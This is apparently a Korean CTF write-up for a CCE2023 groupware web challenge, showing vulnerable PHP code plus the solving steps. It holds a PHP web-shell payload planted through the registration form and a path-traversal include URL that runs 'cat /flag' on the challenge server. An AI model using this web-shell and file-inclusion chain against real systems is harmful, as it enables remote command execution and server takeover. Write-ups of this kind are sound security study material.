반응형
그룹웨어 페이지에
등록 및 로그인 화면을 볼 수 있다.
관련 파일을 다운받으면 docker.file을 확인할 수 있으며 flag는 /flag에 위치하는것을 알 수 있다.
회원가입할 때 id에 입력한 값을 파일 명으로 password에 입력한 값을 데이터로 저장
function save_user_id($id, $pw){
chdir('../');
file_put_contents("dbs/{$id}", serialize($pw));
}
파일을 생성하여 웹셀 코드 생성
파일명 : ccehello.php
파일 데이터 : s:5:"<?php system($_GET['cmd']);?>";
또한, index.php 파일에서 a, b Parameter를 이용하여 특정 페이지를 include 하는 코드가 존재하고 있습니다.
class Controller {
private $board = '';
private $action = '';
function __construct($board, $action) {
$this->board = $board;
$this->action = $action;
if(!preg_match('/^[a-z0-9:.]+$/i', $this->board)){
$this->board = 'main';
$this->action = 'index';
}
}
function process() {
$path = "{$this->board}/{$this->action}";
if(preg_match('/php|html/i', $path)){
alert('not invalid', 'back');
}
chdir('pages/');
if(!file_exists("{$path}.php")) $path = 'main/index';
include("{$path}.php");
}
}
$board = $_GET['b'] ? $_GET['b'] : 'main' ;
$action = $_GET['a'] ? $_GET['a'] : 'index';
$controller = new Controller($board, $action);
$controller->process();
Path에 해당하는 a 에 /를 포함한 경로를 입력하고 b에는 정규식 표현을 우회하여 특정 파일을 include
접속 URI : http://prob2.cstec.kr:5580/index.php?b=..&a=dbs/ccehello&cmd=cat%20/flag
반응형
'IT > CTF' 카테고리의 다른 글
CCE2023 APOLLO CRYPTO [100] - Base64? (0) | 2023.06.06 |
---|---|
CCE2023 APOLLO CRYPTO [100] - ROT (0) | 2023.06.04 |
CCE2023 APOLLO WEB HACKING [100] - BabyWeb (0) | 2023.06.03 |
CCE2023 APOLLO WEB HACKING [100] - Login me (0) | 2023.06.03 |
[RootMe] HTTP - Open redirect [WEB/Server] (0) | 2022.07.06 |